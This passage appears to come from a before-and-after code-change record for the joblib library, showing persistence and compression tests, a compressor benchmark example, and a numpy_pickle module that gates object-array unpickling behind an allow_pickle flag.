\"some data\"]\n    for obj in objs:\n        f = io.BytesIO()\n        numpy_pickle.dump(obj, f)\n        obj_reloaded = numpy_pickle.load(f)\n        if isinstance(obj, np.ndarray):\n            np.testing.assert_array_equal(obj_reloaded, obj)\n        else:\n            assert obj_reloaded == obj\n\n\n@with_numpy\ndef test_file_handle_persistence_mmap(tmpdir):\n    obj = np.random.random((10, 10))\n    filename = tmpdir.join('test.pkl').strpath\n\n    with open(filename, 'wb') as f:\n        numpy_pickle.dump(obj, f)\n\n    with open(filename, 'rb') as f:\n        obj_reloaded = numpy_pickle.load(f, mmap_mode='r+')\n\n    np.testing.assert_array_equal(obj_reloaded, obj)\n\n\n@with_numpy\ndef test_file_handle_persistence_compressed_mmap(tmpdir):\n    obj = np.random.random((10, 10))\n    filename = tmpdir.join('test.pkl').strpath\n\n    with open(filename, 'wb') as f:\n        numpy_pickle.dump(obj, f, compress=('gzip', 3))\n\n    with closing(gzip.GzipFile(filename, 'rb')) as f:\n        with warns(UserWarning) as warninfo:\n            numpy_pickle.load(f, mmap_mode='r+')\n        assert len(warninfo) == 1\n        assert (str(warninfo[0].message) ==\n                '\"%(fileobj)r\" is not a raw file, mmap_mode \"%(mmap_mode)s\" '\n                'flag will be ignored.' % {'fileobj': f, 'mmap_mode': 'r+'})\n\n\n@with_numpy\ndef test_file_handle_persistence_in_memory_mmap():\n    obj = np.random.random((10, 10))\n    buf = io.BytesIO()\n\n    numpy_pickle.dump(obj, buf)\n\n    with warns(UserWarning) as warninfo:\n        numpy_pickle.load(buf, mmap_mode='r+')\n    assert len(warninfo) == 1\n    assert (str(warninfo[0].message) ==\n            'In memory persistence is not compatible with mmap_mode '\n            '\"%(mmap_mode)s\" flag passed. mmap_mode option will be '\n            'ignored.' % {'mmap_mode': 'r+'})\n\n\n@parametrize('data', [b'a little data as bytes.',\n                      # More bytes\n                      10000 * \"{}\".format(\n                          random.randint(0, 1000) * 1000).encode('latin-1')],\n             ids=[\"a little data as bytes.\", \"a large data as bytes.\"])\n@parametrize('compress_level', [1, 3, 9])\ndef test_binary_zlibfile(tmpdir, data, compress_level):\n    filename = tmpdir.join('test.pkl').strpath\n    # Regular cases\n    with open(filename, 'wb') as f:\n        with BinaryZlibFile(f, 'wb',\n                            compresslevel=compress_level) as fz:\n            assert fz.writable()\n            fz.write(data)\n            assert fz.fileno() == f.fileno()\n            with raises(io.UnsupportedOperation):\n                fz._check_can_read()\n\n            with raises(io.UnsupportedOperation):\n                fz._check_can_seek()\n        assert fz.closed\n        with raises(ValueError):\n            fz._check_not_closed()\n\n    with open(filename, 'rb') as f:\n        with BinaryZlibFile(f) as fz:\n            assert fz.readable()\n            assert fz.seekable()\n            assert fz.fileno() == f.fileno()\n            assert fz.read() == data\n            with raises(io.UnsupportedOperation):\n                fz._check_can_write()\n            assert fz.seekable()\n            fz.seek(0)\n            assert fz.tell() == 0\n        assert fz.closed\n\n    # Test with a filename as input\n    with BinaryZlibFile(filename, 'wb',\n                        compresslevel=compress_level) as fz:\n        assert fz.writable()\n        fz.write(data)\n\n    with BinaryZlibFile(filename, 'rb') as fz:\n        assert fz.read() == data\n        assert fz.seekable()\n\n    # Test without context manager\n    fz = BinaryZlibFile(filename, 'wb', compresslevel=compress_level)\n    assert fz.writable()\n    fz.write(data)\n    fz.close()\n\n    fz = BinaryZlibFile(filename, 'rb')\n    assert fz.read() == data\n    fz.close()\n\n\n@parametrize('bad_value', [-1, 10, 15, 'a', (), {}])\ndef test_binary_zlibfile_bad_compression_levels(tmpdir, bad_value):\n    filename = tmpdir.join('test.pkl').strpath\n    with raises(ValueError) as excinfo:\n        BinaryZlibFile(filename, 'wb', compresslevel=bad_value)\n    pattern = re.escape(\"'compresslevel' must be an integer between 1 and 9. \"\n                        \"You provided 'compresslevel={}'\".format(bad_value))\n    excinfo.match(pattern)\n\n\n@parametrize('bad_mode', ['a', 'x', 'r', 'w', 1, 2])\ndef test_binary_zlibfile_invalid_modes(tmpdir, bad_mode):\n    filename = tmpdir.join('test.pkl').strpath\n    with raises(ValueError) as excinfo:\n        BinaryZlibFile(filename, bad_mode)\n    excinfo.match(\"Invalid mode\")\n\n\n@parametrize('bad_file', [1, (), {}])\ndef test_binary_zlibfile_invalid_filename_type(bad_file):\n    with raises(TypeError) as excinfo:\n        BinaryZlibFile(bad_file, 'rb')\n    excinfo.match(\"filename must be a str or bytes object, or a file\")\n\n\n###############################################################################\n# Test dumping array subclasses\nif np is not None:\n\n    class SubArray(np.ndarray):\n\n        def __reduce__(self):\n            return _load_sub_array, (np.asarray(self), )\n\n    def _load_sub_array(arr):\n        d = SubArray(arr.shape)\n        d[:] = arr\n        return d\n\n    class ComplexTestObject:\n        \"\"\"A complex object containing numpy arrays as attributes.\"\"\"\n\n        def __init__(self):\n            self.array_float = np.arange(100, dtype='float64')\n            self.array_int = np.ones(100, dtype='int32')\n            self.array_obj = np.array(['a', 10, 20.0], dtype='object')\n\n\n@with_numpy\ndef test_numpy_subclass(tmpdir):\n    filename = tmpdir.join('test.pkl').strpath\n    a = SubArray((10,))\n    numpy_pickle.dump(a, filename)\n    c = numpy_pickle.load(filename)\n    assert isinstance(c, SubArray)\n    np.testing.assert_array_equal(c, a)\n\n\ndef test_pathlib(tmpdir):\n    filename = tmpdir.join('test.pkl').strpath\n    value = 123\n    numpy_pickle.dump(value, Path(filename))\n    assert numpy_pickle.load(filename) == value\n    numpy_pickle.dump(value, filename)\n    assert numpy_pickle.load(Path(filename)) == value\n\n\n@with_numpy\ndef test_non_contiguous_array_pickling(tmpdir):\n    filename = tmpdir.join('test.pkl').strpath\n\n    for array in [  # Array that triggers a contiguousness issue with nditer,\n                    # see https://github.com/joblib/joblib/pull/352 and see\n                    # https://github.com/joblib/joblib/pull/353\n                    np.asfortranarray([[1, 2], [3, 4]])[1:],\n                    # Non contiguous array with works fine with nditer\n                    np.ones((10, 50, 20), order='F')[:, :1, :]]:\n        assert not array.flags.c_contiguous\n        assert not array.flags.f_contiguous\n        numpy_pickle.dump(array, filename)\n        array_reloaded = numpy_pickle.load(filename)\n        np.testing.assert_array_equal(array_reloaded, array)\n\n\n@with_numpy\ndef test_pickle_highest_protocol(tmpdir):\n    # ensure persistence of a numpy array is valid even when using\n    # the pickle HIGHEST_PROTOCOL.\n    # see https://github.com/joblib/joblib/issues/362\n\n    filename = tmpdir.join('test.pkl').strpath\n    test_array = np.zeros(10)\n\n    numpy_pickle.dump(test_array, filename, protocol=pickle.HIGHEST_PROTOCOL)\n    array_reloaded = numpy_pickle.load(filename)\n\n    np.testing.assert_array_equal(array_reloaded, test_array)\n\n\n@with_numpy\ndef test_pickle_in_socket():\n    # test that joblib can pickle in sockets\n    test_array = np.arange(10)\n    _ADDR = (\"localhost\", 12345)\n    listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n    listener.bind(_ADDR)\n    listener.listen(1)\n\n    with socket.create_connection(_ADDR) as client:\n        server, client_addr = listener.accept()\n\n        with server.makefile(\"wb\") as sf:\n            numpy_pickle.dump(test_array, sf)\n\n        with client.makefile(\"rb\") as cf:\n            array_reloaded = numpy_pickle.load(cf)\n\n        np.testing.assert_array_equal(array_reloaded, test_array)\n\n        # Check that a byte-aligned numpy array written in a file can be send\n        # over a socket and then read on the other side\n        bytes_to_send = io.BytesIO()\n        numpy_pickle.dump(test_array, bytes_to_send)\n        server.send(bytes_to_send.getvalue())\n\n        with client.makefile(\"rb\") as cf:\n            array_reloaded = numpy_pickle.load(cf)\n\n        np.testing.assert_array_equal(array_reloaded, test_array)\n\n\n@with_numpy\ndef test_load_memmap_with_big_offset(tmpdir):\n    # Test that numpy memmap offset is set correctly if greater than\n    # mmap.ALLOCATIONGRANULARITY, see\n    # https://github.com/joblib/joblib/issues/451 and\n    # https://github.com/numpy/numpy/pull/8443 for more details.\n    fname = tmpdir.join('test.mmap').strpath\n    size = mmap.ALLOCATIONGRANULARITY\n    obj = [np.zeros(size, dtype='uint8'), np.ones(size, dtype='uint8')]\n    numpy_pickle.dump(obj, fname)\n    memmaps = numpy_pickle.load(fname, mmap_mode='r')\n    assert isinstance(memmaps[1], np.memmap)\n    assert memmaps[1].offset > size\n    np.testing.assert_array_equal(obj, memmaps)\n\n\ndef test_register_compressor(tmpdir):\n    # Check that registering compressor file works.\n    compressor_name = 'test-name'\n    compressor_prefix = 'test-prefix'\n\n    class BinaryCompressorTestFile(io.BufferedIOBase):\n        pass\n\n    class BinaryCompressorTestWrapper(CompressorWrapper):\n\n        def __init__(self):\n            CompressorWrapper.__init__(self, obj=BinaryCompressorTestFile,\n                                       prefix=compressor_prefix)\n\n    register_compressor(compressor_name, BinaryCompressorTestWrapper())\n\n    assert (_COMPRESSORS[compressor_name].fileobj_factory ==\n            BinaryCompressorTestFile)\n    assert _COMPRESSORS[compressor_name].prefix == compressor_prefix\n\n    # Remove this dummy compressor file from extra compressors because other\n    # tests might fail because of this\n    _COMPRESSORS.pop(compressor_name)\n\n\n@parametrize('invalid_name', [1, (), {}])\ndef test_register_compressor_invalid_name(invalid_name):\n    # Test that registering an invalid compressor name is not allowed.\n    with raises(ValueError) as excinfo:\n        register_compressor(invalid_name, None)\n    excinfo.match(\"Compressor name should be a string\")\n\n\ndef test_register_compressor_invalid_fileobj():\n    # Test that registering an invalid file object is not allowed.\n\n    class InvalidFileObject():\n        pass\n\n    class InvalidFileObjectWrapper(CompressorWrapper):\n        def __init__(self):\n            CompressorWrapper.__init__(self, obj=InvalidFileObject,\n                                       prefix=b'prefix')\n\n    with raises(ValueError) as excinfo:\n        register_compressor('invalid', InvalidFileObjectWrapper())\n\n    excinfo.match(\"Compressor 'fileobj_factory' attribute should implement \"\n                  \"the file object interface\")\n\n\nclass AnotherZlibCompressorWrapper(CompressorWrapper):\n\n    def __init__(self):\n        CompressorWrapper.__init__(self, obj=BinaryZlibFile, prefix=b'prefix')\n\n\nclass StandardLibGzipCompressorWrapper(CompressorWrapper):\n\n    def __init__(self):\n        CompressorWrapper.__init__(self, obj=gzip.GzipFile, prefix=b'prefix')\n\n\ndef test_register_compressor_already_registered():\n    # Test registration of existing compressor files.\n    compressor_name = 'test-name'\n\n    # register a test compressor\n    register_compressor(compressor_name, AnotherZlibCompressorWrapper())\n\n    with raises(ValueError) as excinfo:\n        register_compressor(compressor_name,\n                            StandardLibGzipCompressorWrapper())\n    excinfo.match(\"Compressor '{}' already registered.\"\n                  .format(compressor_name))\n\n    register_compressor(compressor_name, StandardLibGzipCompressorWrapper(),\n                        force=True)\n\n    assert compressor_name in _COMPRESSORS\n    assert _COMPRESSORS[compressor_name].fileobj_factory == gzip.GzipFile\n\n    # Remove this dummy compressor file from extra compressors because other\n    # tests might fail because of this\n    _COMPRESSORS.pop(compressor_name)\n\n\n@with_lz4\ndef test_lz4_compression(tmpdir):\n    # Check that lz4 can be used when dependency is available.\n    import lz4.frame\n    compressor = 'lz4'\n    assert compressor in _COMPRESSORS\n    assert _COMPRESSORS[compressor].fileobj_factory == lz4.frame.LZ4FrameFile\n\n    fname = tmpdir.join('test.pkl').strpath\n    data = 'test data'\n    numpy_pickle.dump(data, fname, compress=compressor)\n\n    with open(fname, 'rb') as f:\n        assert f.read(len(_LZ4_PREFIX)) == _LZ4_PREFIX\n    assert numpy_pickle.load(fname) == data\n\n    # Test that LZ4 is applied based on file extension\n    numpy_pickle.dump(data, fname + '.lz4')\n    with open(fname, 'rb') as f:\n        assert f.read(len(_LZ4_PREFIX)) == _LZ4_PREFIX\n    assert numpy_pickle.load(fname) == data\n\n\n@without_lz4\ndef test_lz4_compression_without_lz4(tmpdir):\n    # Check that lz4 cannot be used when dependency is not available.\n    fname = tmpdir.join('test.nolz4').strpath\n    data = 'test data'\n    msg = LZ4_NOT_INSTALLED_ERROR\n    with raises(ValueError) as excinfo:\n        numpy_pickle.dump(data, fname, compress='lz4')\n    excinfo.match(msg)\n\n    with raises(ValueError) as excinfo:\n        numpy_pickle.dump(data, fname + '.lz4')\n    excinfo.match(msg)\n\n\nprotocols = [pickle.DEFAULT_PROTOCOL]\nif pickle.HIGHEST_PROTOCOL != pickle.DEFAULT_PROTOCOL:\n    protocols.append(pickle.HIGHEST_PROTOCOL)\n\n\n@with_numpy\n@parametrize('protocol', protocols)\ndef test_memmap_alignment_padding(tmpdir, protocol):\n    # Test that memmaped arrays returned by numpy.load are correctly aligned\n    fname = tmpdir.join('test.mmap').strpath\n\n    a = np.random.randn(2)\n    numpy_pickle.dump(a, fname, protocol=protocol)\n    memmap = numpy_pickle.load(fname, mmap_mode='r')\n    assert isinstance(memmap, np.memmap)\n    np.testing.assert_array_equal(a, memmap)\n    assert (\n        memmap.ctypes.data % numpy_pickle.NUMPY_ARRAY_ALIGNMENT_BYTES == 0)\n    assert memmap.flags.aligned\n\n    array_list = [\n        np.random.randn(2), np.random.randn(2),\n        np.random.randn(2), np.random.randn(2)\n    ]\n\n    # On Windows OSError 22 if reusing the same path for memmap ...\n    fname = tmpdir.join('test1.mmap').strpath\n    numpy_pickle.dump(array_list, fname, protocol=protocol)\n    l_reloaded = numpy_pickle.load(fname, mmap_mode='r')\n\n    for idx, memmap in enumerate(l_reloaded):\n        assert isinstance(memmap, np.memmap)\n        np.testing.assert_array_equal(array_list[idx], memmap)\n        assert (\n            memmap.ctypes.data % numpy_pickle.NUMPY_ARRAY_ALIGNMENT_BYTES == 0)\n        assert memmap.flags.aligned\n\n    array_dict = {\n        'a0': np.arange(2, dtype=np.uint8),\n        'a1': np.arange(3, dtype=np.uint8),\n        'a2': np.arange(5, dtype=np.uint8),\n        'a3': np.arange(7, dtype=np.uint8),\n        'a4': np.arange(11, dtype=np.uint8),\n        'a5': np.arange(13, dtype=np.uint8),\n        'a6': np.arange(17, dtype=np.uint8),\n        'a7': np.arange(19, dtype=np.uint8),\n        'a8': np.arange(23, dtype=np.uint8),\n    }\n\n    # On Windows OSError 22 if reusing the same path for memmap ...\n    fname = tmpdir.join('test2.mmap').strpath\n    numpy_pickle.dump(array_dict, fname, protocol=protocol)\n    d_reloaded = numpy_pickle.load(fname, mmap_mode='r')\n\n    for key, memmap in d_reloaded.items():\n        assert isinstance(memmap, np.memmap)\n        np.testing.assert_array_equal(array_dict[key], memmap)\n        assert (\n            memmap.ctypes.data % numpy_pickle.NUMPY_ARRAY_ALIGNMENT_BYTES == 0)\n        assert memmap.flags.aligned\n"}, "files_after": {"examples/compressors_comparison.py": "\"\"\"\n===============================\nImproving I/O using compressors\n===============================\n\nThis example compares the compressors available in Joblib. In the example,\nZlib, LZMA and LZ4 compression only are used but Joblib also supports BZ2 and\nGZip compression methods.\nFor each compared compression method, this example dumps and reloads a\ndataset fetched from an online machine-learning database. This gives 3\ninformation: the size on disk of the compressed data, the time spent to dump\nand the time spent to reload the data from disk.\n\"\"\"\n\nimport os\nimport os.path\nimport time\n\n###############################################################################\n# Get some data from real-world use cases\n# ---------------------------------------\n#\n# First fetch the benchmark dataset from an online machine-learning database\n# and load it in a pandas dataframe.\n\nimport pandas as pd\n\nurl = \"https://github.com/joblib/dataset/raw/main/kddcup.data.gz\"\nnames = (\"duration, protocol_type, service, flag, src_bytes, \"\n         \"dst_bytes, land, wrong_fragment, urgent, hot, \"\n         \"num_failed_logins, logged_in, num_compromised, \"\n         \"root_shell, su_attempted, num_root, \"\n         \"num_file_creations, \").split(', ')\n\ndata = pd.read_csv(url, names=names, nrows=1e6)\n\n###############################################################################\n# Dump and load the dataset without compression\n# ---------------------------------------------\n#\n# This gives reference values for later comparison.\n\nfrom joblib import dump, load\n\npickle_file = './pickle_data.joblib'\n\n###############################################################################\n# Start by measuring the time spent for dumping the raw data:\nstart = time.time()\nwith open(pickle_file, 'wb') as f:\n    dump(data, f)\nraw_dump_duration = time.time() - start\nprint(\"Raw dump duration: %0.3fs\" % raw_dump_duration)\n\n###############################################################################\n# Then measure the size of the raw dumped data on disk:\nraw_file_size = os.stat(pickle_file).st_size / 1e6\nprint(\"Raw dump file size: %0.3fMB\" % raw_file_size)\n\n###############################################################################\n# Finally measure the time spent for loading the raw data:\nstart = time.time()\nwith open(pickle_file, 'rb') as f:\n    load(f, allow_pickle=True)\nraw_load_duration = time.time() - start\nprint(\"Raw load duration: %0.3fs\" % raw_load_duration)\n\n###############################################################################\n# Dump and load the dataset using the Zlib compression method\n# -----------------------------------------------------------\n#\n# The compression level is using the default value, 3, which is, in general, a\n# good compromise between compression and speed.\n\n###############################################################################\n# Start by measuring the time spent for dumping of the zlib data:\n\nstart = time.time()\nwith open(pickle_file, 'wb') as f:\n    dump(data, f, compress='zlib')\nzlib_dump_duration = time.time() - start\nprint(\"Zlib dump duration: %0.3fs\" % zlib_dump_duration)\n\n###############################################################################\n# Then measure the size of the zlib dump data on disk:\n\nzlib_file_size = os.stat(pickle_file).st_size / 1e6\nprint(\"Zlib file size: %0.3fMB\" % zlib_file_size)\n\n###############################################################################\n# Finally measure the time spent for loading the compressed dataset:\n\nstart = time.time()\nwith open(pickle_file, 'rb') as f:\n    load(f, allow_pickle=True)\nzlib_load_duration = time.time() - start\nprint(\"Zlib load duration: %0.3fs\" % zlib_load_duration)\n\n###############################################################################\n# .. note:: The compression format is detected automatically by Joblib.\n#    The compression format is identified by the standard magic number present\n#    at the beginning of the file. Joblib uses this information to determine\n#    the compression method used.\n#    This is the case for all compression methods supported by Joblib.\n\n###############################################################################\n# Dump and load the dataset using the LZMA compression method\n# -----------------------------------------------------------\n#\n# LZMA compression method has a very good compression rate but at the cost\n# of being very slow.\n# In this example, a light compression level, e.g. 3, is used to speed up a\n# bit the dump/load cycle.\n\n###############################################################################\n# Start by measuring the time spent for dumping the lzma data:\n\nstart = time.time()\nwith open(pickle_file, 'wb') as f:\n    dump(data, f, compress=('lzma', 3))\nlzma_dump_duration = time.time() - start\nprint(\"LZMA dump duration: %0.3fs\" % lzma_dump_duration)\n\n###############################################################################\n# Then measure the size of the lzma dump data on disk:\n\nlzma_file_size = os.stat(pickle_file).st_size / 1e6\nprint(\"LZMA file size: %0.3fMB\" % lzma_file_size)\n\n###############################################################################\n# Finally measure the time spent for loading the lzma data:\n\nstart = time.time()\nwith open(pickle_file, 'rb') as f:\n    load(f, allow_pickle=True)\nlzma_load_duration = time.time() - start\nprint(\"LZMA load duration: %0.3fs\" % lzma_load_duration)\n\n###############################################################################\n# Dump and load the dataset using the LZ4 compression method\n# ----------------------------------------------------------\n#\n# LZ4 compression method is known to be one of the fastest available\n# compression method but with a compression rate a bit lower than Zlib. In\n# most of the cases, this method is a good choice.\n\n###############################################################################\n# .. note:: In order to use LZ4 compression with Joblib, the\n#    `lz4 <https://pypi.python.org/pypi/lz4>`_ package must be installed\n#    on the system.\n\n###############################################################################\n# Start by measuring the time spent for dumping the lz4 data:\n\nstart = time.time()\nwith open(pickle_file, 'wb') as f:\n    dump(data, f, compress='lz4')\nlz4_dump_duration = time.time() - start\nprint(\"LZ4 dump duration: %0.3fs\" % lz4_dump_duration)\n\n###############################################################################\n# Then measure the size of the lz4 dump data on disk:\n\nlz4_file_size = os.stat(pickle_file).st_size / 1e6\nprint(\"LZ4 file size: %0.3fMB\" % lz4_file_size)\n\n###############################################################################\n# Finally measure the time spent for loading the lz4 data:\n\nstart = time.time()\nwith open(pickle_file, 'rb') as f:\n    load(f, allow_pickle=True)\nlz4_load_duration = time.time() - start\nprint(\"LZ4 load duration: %0.3fs\" % lz4_load_duration)\n\n###############################################################################\n# Comparing the results\n# ---------------------\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nN = 4\nload_durations = (raw_load_duration, lz4_load_duration, zlib_load_duration,\n                  lzma_load_duration)\ndump_durations = (raw_dump_duration, lz4_dump_duration, zlib_dump_duration,\n                  lzma_dump_duration)\nfile_sizes = (raw_file_size, lz4_file_size, zlib_file_size, lzma_file_size)\nind = np.arange(N)\nwidth = 0.5\n\nplt.figure(1, figsize=(5, 4))\np1 = plt.bar(ind, dump_durations, width)\np2 = plt.bar(ind, load_durations, width, bottom=dump_durations)\nplt.ylabel('Time in seconds')\nplt.title('Dump and load durations')\nplt.xticks(ind, ('Raw', 'LZ4', 'Zlib', 'LZMA'))\nplt.yticks(np.arange(0, lzma_load_duration + lzma_dump_duration))\nplt.legend((p1[0], p2[0]), ('Dump duration', 'Load duration'))\n\n###############################################################################\n# Compared with other compressors, LZ4 is clearly the fastest, especially for\n# dumping compressed data on disk. In this particular case, it can even be\n# faster than the raw dump.\n# Also note that dump and load durations depend on the I/O speed of the\n# underlying storage: for example, with SSD hard drives the LZ4 compression\n# will be slightly slower than raw dump/load, whereas with spinning hard disk\n# drives (HDD) or remote storage (NFS), LZ4 is faster in general.\n#\n# LZMA and Zlib, even if always slower for dumping data, are quite fast when\n# re-loading compressed data from disk.\n\nplt.figure(2, figsize=(5, 4))\nplt.bar(ind, file_sizes, width, log=True)\nplt.ylabel('File size in MB')\nplt.xticks(ind, ('Raw', 'LZ4', 'Zlib', 'LZMA'))\n\n###############################################################################\n# Compressed data obviously takes a lot less space on disk than raw data. LZMA\n# is the best compression method in terms of compression rate. Zlib also has a\n# better compression rate than LZ4.\n\nplt.show()\n\n###############################################################################\n# Clear the pickle file\n# ---------------------\n\nimport os\nos.remove(pickle_file)\n", "joblib/numpy_pickle.py": "\"\"\"Utilities for fast persistence of big data, with optional compression.\"\"\"\n\n# Author: Gael Varoquaux <gael dot varoquaux at normalesup dot org>\n# Copyright (c) 2009 Gael Varoquaux\n# License: BSD Style, 3 clauses.\n\nimport pickle\nimport os\nimport warnings\nimport io\nfrom pathlib import Path\n\nfrom .compressor import lz4, LZ4_NOT_INSTALLED_ERROR\nfrom .compressor import _COMPRESSORS, register_compressor, BinaryZlibFile\nfrom .compressor import (ZlibCompressorWrapper, GzipCompressorWrapper,\n                         BZ2CompressorWrapper, LZMACompressorWrapper,\n                         XZCompressorWrapper, LZ4CompressorWrapper)\nfrom .numpy_pickle_utils import Unpickler, Pickler\nfrom .numpy_pickle_utils import _read_fileobject, _write_fileobject\nfrom .numpy_pickle_utils import _read_bytes, BUFFER_SIZE\nfrom .numpy_pickle_utils import _ensure_native_byte_order\nfrom .numpy_pickle_compat import load_compatibility\nfrom .numpy_pickle_compat import NDArrayWrapper\n# For compatibility with old versions of joblib, we need ZNDArrayWrapper\n# to be visible in the current namespace.\n# Explicitly skipping next line from flake8 as it triggers an F401 warning\n# which we don't care.\nfrom .numpy_pickle_compat import ZNDArrayWrapper  # noqa\nfrom .backports import make_memmap\n\n# Register supported compressors\nregister_compressor('zlib', ZlibCompressorWrapper())\nregister_compressor('gzip', GzipCompressorWrapper())\nregister_compressor('bz2', BZ2CompressorWrapper())\nregister_compressor('lzma', LZMACompressorWrapper())\nregister_compressor('xz', XZCompressorWrapper())\nregister_compressor('lz4', LZ4CompressorWrapper())\n\n\n###############################################################################\n# Utility objects for persistence.\n\n# For convenience, 16 bytes are used to be sure to cover all the possible\n# dtypes' alignments. For reference, see:\n# https://numpy.org/devdocs/dev/alignment.html\nNUMPY_ARRAY_ALIGNMENT_BYTES = 16\n\n\nclass NumpyArrayWrapper(object):\n    \"\"\"An object to be persisted instead of numpy arrays.\n\n    This object is used to hack into the pickle machinery and read numpy\n    array data from our custom persistence format.\n    More precisely, this object is used for:\n    * carrying the information of the persisted array: subclass, shape, order,\n    dtype. Those ndarray metadata are used to correctly reconstruct the array\n    with low level numpy functions.\n    * determining if memmap is allowed on the array.\n    * reading the array bytes from a file.\n    * reading the array using memorymap from a file.\n    * writing the array bytes to a file.\n\n    Attributes\n    ----------\n    subclass: numpy.ndarray subclass\n        Determine the subclass of the wrapped array.\n    shape: numpy.ndarray shape\n        Determine the shape of the wrapped array.\n    order: {'C', 'F'}\n        Determine the order of wrapped array data. 'C' is for C order, 'F' is\n        for fortran order.\n    dtype: numpy.ndarray dtype\n        Determine the data type of the wrapped array.\n    allow_mmap: bool\n        Determine if memory mapping is allowed on the wrapped array.\n        Default: False.\n    allow_pickle: bool\n        Determine if pickle.load is allowed on the wrapped array.\n        Default: False.\n    \"\"\"\n\n    def __init__(self, subclass, shape, order, dtype,\n                 allow_mmap=False, allow_pickle=False,\n                 numpy_array_alignment_bytes=NUMPY_ARRAY_ALIGNMENT_BYTES):\n        \"\"\"Constructor. Store the useful information for later.\"\"\"\n        self.subclass = subclass\n        self.shape = shape\n        self.order = order\n        self.dtype = dtype\n        self.allow_mmap = allow_mmap\n        self.allow_pickle = allow_pickle\n        # We make numpy_array_alignment_bytes an instance attribute to allow us\n        # to change our mind about the default alignment and still load the old\n        # pickles (with the previous alignment) correctly\n        self.numpy_array_alignment_bytes = numpy_array_alignment_bytes\n\n    def safe_get_numpy_array_alignment_bytes(self):\n        # NumpyArrayWrapper instances loaded from joblib <= 1.1 pickles don't\n        # have an numpy_array_alignment_bytes attribute\n        return getattr(self, 'numpy_array_alignment_bytes', None)\n\n    def write_array(self, array, pickler):\n        \"\"\"Write array bytes to pickler file handle.\n\n        This function is an adaptation of the numpy write_array function\n        available in version 1.10.1 in numpy/lib/format.py.\n        \"\"\"\n        # Set buffer size to 16 MiB to hide the Python loop overhead.\n        buffersize = max(16 * 1024 ** 2 // array.itemsize, 1)\n        if array.dtype.hasobject:\n            # We contain Python objects so we cannot write out the data\n            # directly. Instead, we will pickle it out with version 2 of the\n            # pickle protocol.\n            pickle.dump(array, pickler.file_handle, protocol=2)\n        else:\n            numpy_array_alignment_bytes = \\\n                self.safe_get_numpy_array_alignment_bytes()\n            if numpy_array_alignment_bytes is not None:\n                current_pos = pickler.file_handle.tell()\n                pos_after_padding_byte = current_pos + 1\n                padding_length = numpy_array_alignment_bytes - (\n                    pos_after_padding_byte % numpy_array_alignment_bytes)\n                # A single byte is written that contains the padding length in\n                # bytes\n                padding_length_byte = int.to_bytes(\n                    padding_length, length=1, byteorder='little')\n                pickler.file_handle.write(padding_length_byte)\n\n                if padding_length != 0:\n                    padding = b'\\xff' * padding_length\n                    pickler.file_handle.write(padding)\n\n            for chunk in pickler.np.nditer(array,\n                                           flags=['external_loop',\n                                                  'buffered',\n                                                  'zerosize_ok'],\n                                           buffersize=buffersize,\n                                           order=self.order):\n                pickler.file_handle.write(chunk.tobytes('C'))\n\n    def read_array(self, unpickler, allow_pickle=False):\n        \"\"\"Read array from unpickler file handle.\n\n        This function is an adaptation of the numpy read_array function\n        available in version 1.10.1 in numpy/lib/format.py.\n        \"\"\"\n        if len(self.shape) == 0:\n            count = 1\n        else:\n            # joblib issue #859: we cast the elements of self.shape to int64 to\n            # prevent a potential overflow when computing their product.\n            shape_int64 = [unpickler.np.int64(x) for x in self.shape]\n            count = unpickler.np.multiply.reduce(shape_int64)\n        # Now read the actual data.\n        if self.dtype.hasobject:\n            if not allow_pickle:\n                raise ValueError(\"Object arrays cannot be loaded when \"\n                                 \"allow_pickle=False\")\n            # The array contained Python objects. We need to unpickle the data.\n            array = pickle.load(unpickler.file_handle)\n        else:\n            numpy_array_alignment_bytes = \\\n                self.safe_get_numpy_array_alignment_bytes()\n            if numpy_array_alignment_bytes is not None:\n                padding_byte = unpickler.file_handle.read(1)\n                padding_length = int.from_bytes(\n                    padding_byte, byteorder='little')\n                if padding_length != 0:\n                    unpickler.file_handle.read(padding_length)\n\n            # This is not a real file. We have to read it the\n            # memory-intensive way.\n            # crc32 module fails on reads greater than 2 ** 32 bytes,\n            # breaking large reads from gzip streams. Chunk reads to\n            # BUFFER_SIZE bytes to avoid issue and reduce memory overhead\n            # of the read. In non-chunked case count < max_read_count, so\n            # only one read is performed.\n            max_read_count = BUFFER_SIZE // min(BUFFER_SIZE,\n                                                self.dtype.itemsize)\n\n            array = unpickler.np.empty(count, dtype=self.dtype)\n            for i in range(0, count, max_read_count):\n                read_count = min(max_read_count, count - i)\n                read_size = int(read_count * self.dtype.itemsize)\n                data = _read_bytes(unpickler.file_handle,\n                                   read_size, \"array data\")\n                array[i:i + read_count] = \\\n                    unpickler.np.frombuffer(data, dtype=self.dtype,\n                                            count=read_count)\n                del data\n\n            if self.order == 'F':\n                array.shape = self.shape[::-1]\n                array = array.transpose()\n            else:\n                array.shape = self.shape\n\n        # Detect byte order mismatch and swap as needed.\n        return _ensure_native_byte_order(array)\n\n    def read_mmap(self, unpickler):\n        \"\"\"Read an array using numpy memmap.\"\"\"\n        current_pos = unpickler.file_handle.tell()\n        offset = current_pos\n        numpy_array_alignment_bytes = \\\n            self.safe_get_numpy_array_alignment_bytes()\n\n        if numpy_array_alignment_bytes is not None:\n            padding_byte = unpickler.file_handle.read(1)\n            padding_length = int.from_bytes(padding_byte, byteorder='little')\n            # + 1 is for the padding byte\n            offset += padding_length + 1\n\n        if unpickler.mmap_mode == 'w+':\n            unpickler.mmap_mode = 'r+'\n\n        marray = make_memmap(unpickler.filename,\n                             dtype=self.dtype,\n                             shape=self.shape,\n                             order=self.order,\n                             mode=unpickler.mmap_mode,\n                             offset=offset)\n        # update the offset so that it corresponds to the end of the read array\n        unpickler.file_handle.seek(offset + marray.nbytes)\n\n        if (numpy_array_alignment_bytes is None and\n                current_pos % NUMPY_ARRAY_ALIGNMENT_BYTES != 0):\n            message = (\n                f'The memmapped array {marray} loaded from the file '\n                f'{unpickler.file_handle.name} is not byte aligned. '\n                'This may cause segmentation faults if this memmapped array '\n                'is used in some libraries like BLAS or PyTorch. '\n                'To get rid of this warning, regenerate your pickle file '\n                'with joblib >= 1.2.0. '\n                'See https://github.com/joblib/joblib/issues/563 '\n                'for more details'\n            )\n            warnings.warn(message)\n\n        return _ensure_native_byte_order(marray)\n\n    def read(self, unpickler, allow_pickle=False):\n        \"\"\"Read the array corresponding to this wrapper.\n\n        Use the unpickler to get all information to correctly read the array.\n\n        Parameters\n        ----------\n        unpickler: NumpyUnpickler\n\n        Returns\n        -------\n        array: 